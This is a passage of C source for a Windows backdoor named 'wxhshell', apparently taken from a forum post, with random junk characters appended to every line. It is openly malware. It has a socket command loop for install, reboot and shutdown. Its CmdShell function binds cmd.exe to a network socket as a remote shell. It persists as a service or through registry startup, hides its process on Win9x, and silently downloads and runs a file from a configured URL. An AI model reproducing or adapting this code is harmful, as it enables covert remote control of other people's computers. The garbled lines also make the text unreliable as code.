  // 帮助 7-~)/7L  
  case '?': { ~%f$}{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k#8`996P  
    break; bw7gL\*  
  } d&f!\n_~  
  // 安装 3?L[ohKH?:  
  case 'i': { r ) _*MPY  
    if(Install()) >+Iph2]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nLv~)IQ}:  
    else Fpeokr"i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^W@%(,xb  
    break; twbxi{8e.  
    } zDbO~.d  
  // 卸载 aIrM-c8.O  
  case 'r': { b0f6p>~q^  
    if(Uninstall()) ^&8hhxCPu|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {~s\a2YH  
    else I;eoy,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eO*s,*  
    break; ;$gV$KB:xA  
    } |_-w{2K  
  // 显示 wxhshell 所在路径 o90g;Vog  
  case 'p': { Fa v++z  
    char svExeFile[MAX_PATH]; M5t.l (  
    strcpy(svExeFile,"\n\r"); *p#@W-:9E  
      strcat(svExeFile,ExeFile); B'`25u_e<  
        send(wsh,svExeFile,strlen(svExeFile),0); EN":}!E:  
    break; g;nLR<]  
    } v2p0EOS  
  // 重启 #<Xq\yC51  
  case 'b': { [m 6+I9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fqq4Qc)#U&  
    if(Boot(REBOOT)) hiA\~}sl n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Di4GaKa/  
    else { >w,jaQ  
    closesocket(wsh); M+HhTW;I=  
    ExitThread(0); X  u HR  
    } Wi>m}^}9  
    break; %N`_g' r!  
    } z9g6%RbwX  
  // 关机 $?]`2*i  
  case 'd': { SBs!52  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S_OtY]gF  
    if(Boot(SHUTDOWN)) BT_XqO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cL;%2TMk  
    else { HX}B#T  
    closesocket(wsh); /93z3o7D>  
    ExitThread(0); gH\>", [  
    } @o^$/AE?  
    break; n]D io  
    } 'd&d"E[  
  // 获取shell yg* #~,  
  case 's': { vTK8t:JQ~  
    CmdShell(wsh); \b8#xT}  
    closesocket(wsh); V@b7$z  
    ExitThread(0); \)wch P_0  
    break; B7|%N=S%/  
  } <j,3Dn  
  // 退出 L=EkY O%\"  
  case 'x': { -o`K/f}d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QJrXn6`  
    CloseIt(wsh); b7~Jl+m  
    break; Iz. h  
    } cg17e  
  // 离开 -$0}rfX  
  case 'q': { ?~t5>PEonv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !k*B-@F  
    closesocket(wsh); _5~|z$GW  
    WSACleanup(); _X;,,VEV!  
    exit(1); ZeU){CB  
    break; 5p S$rf  
        } ecoI-@CAI  
  } 8sc2r  
  } H@$K /  
v~T)g"_|  
  // 提示信息 /Wjc\n$'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <2&qIvHL  
} &B[*L+-E  
  } HQ" trV  
}zsIp,  
  return; . _|=Btoo  
} . !Z5A9^  
FA)ot)]  
// shell模块句柄 0Ui_Trlc  
int CmdShell(SOCKET sock) ecJjE 56P  
{ X1a~l|$h  
STARTUPINFO si; CrL9|78  
ZeroMemory(&si,sizeof(si)); ]BbV\#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U:n~S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CLVT5pj='  
PROCESS_INFORMATION ProcessInfo; _|0#  
char cmdline[]="cmd"; &dmIv[LU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :.]EM*p?GV  
  return 0; %7aJSuQN%  
} *GBV[D[G,  
(@xC-*  
// 自身启动模式 Z$KyK.FUU  
int StartFromService(void) %N ~c9B  
{ )e`9U.C  
typedef struct RMT9tXe*5  
{ 7sOAaWx  
  DWORD ExitStatus; rA B=H*|6  
  DWORD PebBaseAddress; wbKJ:eWgt  
  DWORD AffinityMask; ,&=7ir14>R  
  DWORD BasePriority; Xn%7{%;h  
  ULONG UniqueProcessId; % H"  
  ULONG InheritedFromUniqueProcessId; 5CN=a2&  
}   PROCESS_BASIC_INFORMATION; JmK )Y# A  
%M'`K  
PROCNTQSIP NtQueryInformationProcess; { >izfG,\  
\i//Aq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y'odn ;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; mhhc}dS(H  
8~-TN1H  
  HANDLE             hProcess; 3))R91I  
  PROCESS_BASIC_INFORMATION pbi; )^s> 21  
;7?oJH;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H,w8+vZ4\  
  if(NULL == hInst ) return 0; wZ\93W-}  
&ZC{ _t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1R~$m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6O6B8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \:1$E[3v  
U!o  
  if (!NtQueryInformationProcess) return 0; f&^}yqmuE  
3MHpP5C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p19(>|$J  
  if(!hProcess) return 0; R$ +RTG:E  
ojf6@p_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <_|@ ~^u  
?zutU w/m  
  CloseHandle(hProcess); *v K~t|z  
R(^Sse  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x/M$_E<G  
if(hProcess==NULL) return 0; e4Y+u8gT  
=UK:83R(  
HMODULE hMod; R--s u:  
char procName[255]; '*rS, y  
unsigned long cbNeeded; K g#Bg##  
Tb?XKO,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _$@fCo0  
ineSo8| @  
  CloseHandle(hProcess); 27c0wzq  
t!/~_}eDJ  
if(strstr(procName,"services")) return 1; // 以服务启动 kjV>\e  
VgYy7\?p  
  return 0; // 注册表启动 {[Ri:^nHgL  
} WR#h~N 9c  
9M9Fif.  
// 主模块 F#<:ZByjJ@  
int StartWxhshell(LPSTR lpCmdLine) YB7A5  
{ 'h6G"=+  
  SOCKET wsl; O^-QqCZE  
BOOL val=TRUE; gTTKjlI [  
  int port=0; :'ZR!w  
  struct sockaddr_in door; 3-:^mRPJ  
t/O^7)%  
  if(wscfg.ws_autoins) Install(); ?;P6#ByR  
We}9'X}  
port=atoi(lpCmdLine); T>| hID  
PP'5ANK  
if(port<=0) port=wscfg.ws_port; ,=Wj*S)~  
G5t7KI  
  WSADATA data; %_Lz0L64k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z$%8'  
FN!?o:|(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *lLCH,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); URm<Ji  
  door.sin_family = AF_INET; ?_AX;z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MDIPoS3BRa  
  door.sin_port = htons(port); @Nh}^D >j  
CUpRtE8@[_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y iuV\al  
closesocket(wsl); &XCd2  
return 1; Jf7H;ZM<  
} |iBf6smF  
C/N;4  
  if(listen(wsl,2) == INVALID_SOCKET) { [O_5`X9|  
closesocket(wsl); wAi7jCY%OY  
return 1; Z|a*"@5_  
} ]SU)L5Dt;  
  Wxhshell(wsl); ^C^I  
  WSACleanup(); |/l] ]+  
<$A/ ('  
return 0; {N{eOa<HA  
(oy@j{G)c6  
} ojBdUG\  
LNk :PD0m  
// 以NT服务方式启动 RXAE jzf   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z*q&^/N  
{  bV(BwWm  
DWORD   status = 0; W%^!<bFk}m  
  DWORD   specificError = 0xfffffff; ^u$=<66  
Z P|k3   
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]Ri=*KZa  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; BRu}"29  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H'!OEZ  
  serviceStatus.dwWin32ExitCode     = 0; '*Dp2Y{7  
  serviceStatus.dwServiceSpecificExitCode = 0; p{GO-gE@  
  serviceStatus.dwCheckPoint       = 0; _UkBOJ:G$H  
  serviceStatus.dwWaitHint       = 0; -b?M5P*:  
( EJ1g^|"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;5\'PrE  
  if (hServiceStatusHandle==0) return; mGDc,C=5:  
DcaKGjp  
status = GetLastError(); |;Jt * _  
  if (status!=NO_ERROR) /O.q4p  
{ ~e[qh+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8b 7I\J`  
    serviceStatus.dwCheckPoint       = 0; qrw*?6mSQ  
    serviceStatus.dwWaitHint       = 0; =eW4?9Uq  
    serviceStatus.dwWin32ExitCode     = status; *zweZG8:  
    serviceStatus.dwServiceSpecificExitCode = specificError; >+i+_^]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Er@xrhH  
    return; M8 Bp-_  
  } "\;n t5L  
=m (u=|N3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0k\,z(e  
  serviceStatus.dwCheckPoint       = 0; CHqi5Z/+  
  serviceStatus.dwWaitHint       = 0; ak:f4dEd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b9?Vpu`?  
} 5GJkvZtFY  
='kCY}dkO  
// 处理NT服务事件,比如:启动、停止 o(54 A['  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n>Oze7hVY  
{  1 <T|  
switch(fdwControl) %|JL=E}%|  
{ V:5aq.o!  
case SERVICE_CONTROL_STOP: };9/J3]m  
  serviceStatus.dwWin32ExitCode = 0; k??CXW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8_`C&vx  
  serviceStatus.dwCheckPoint   = 0; Txe*$T,(  
  serviceStatus.dwWaitHint     = 0; "X?Zw$gRud  
  { v?3xWXX,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o\Fv~^  
  } @ kv~2m  
  return; 0;`FS /[(f  
case SERVICE_CONTROL_PAUSE: %UooZO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; # 7d vT=  
  break; H[pvC=O=  
case SERVICE_CONTROL_CONTINUE: yF|yZ{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 751Q i  
  break; $1s>efP-  
case SERVICE_CONTROL_INTERROGATE: w-km qh  
  break; gxI/MD~!>  
}; c(8>oeKyD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k:j?8o3  
} `]19}GK~xo  
HtE^7i*_  
// 标准应用程序主函数 438r]f?0|{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DrBkR` a?  
{ jc>B^mqx  
9$[MM*r  
// 获取操作系统版本 xo ^|d3  
OsIsNt=GetOsVer(); d,meKQ n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :D2GLq*\  
!]mo.zDSW5  
  // 从命令行安装 x=W s)&H_Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); <]oPr1  
4V]xVma  
  // 下载执行文件 5?(dI9A"K  
if(wscfg.ws_downexe) { <H<Aba9\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WyQ8}]1b  
  WinExec(wscfg.ws_filenam,SW_HIDE); *j1Skd.#At  
} !](Mt?e  
{~g7&+9x*  
if(!OsIsNt) { J- l[dC  
// 如果时win9x,隐藏进程并且设置为注册表启动 2.{<C.BK{  
HideProc(); l)DcwkIG  
StartWxhshell(lpCmdLine); hlc g[Qdo*  
} %Y|AXx R  
else ~% ]V,-4  
  if(StartFromService()) BjjuZN&  
  // 以服务方式启动 SZ4@GK  
  StartServiceCtrlDispatcher(DispatchTable); ,@N.v?p>  
else MD4m h2  
  // 普通方式启动  ]5ibg"{S  
  StartWxhshell(lpCmdLine); T# tFzbr  
hD,^mru  
return 0; hOIg 7=v  
}
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只看该作者 1 发表于: 2006-10-10
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